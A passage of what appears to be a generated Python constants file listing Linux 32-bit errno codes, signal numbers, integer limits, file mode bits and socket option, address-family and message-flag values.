Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',1234)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGBUS = Constant('SIGBUS',7)\nSIGUSR1 = Constant('SIGUSR1',10)\nSIGUSR2 = Constant('SIGUSR2',12)\nSIGSTKFLT = Constant('SIGSTKFLT',16)\nSIGCHLD = Constant('SIGCHLD',17)\nSIGCONT = Constant('SIGCONT',18)\nSIGSTOP = Constant('SIGSTOP',19)\nSIGTSTP = Constant('SIGTSTP',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGURG = Constant('SIGURG',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGIO = Constant('SIGIO',29)\nSIGPWR = Constant('SIGPWR',30)\nSIGSYS = Constant('SIGSYS',31)\nSIGCLD = Constant('SIGCLD',17)\nSIGPOLL = Constant('SIGPOLL',29)\nSIGLOST = Constant('SIGLOST',30)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_THIRTYTWO = Constant('SA_THIRTYTWO',0x02000000)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nSTAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = 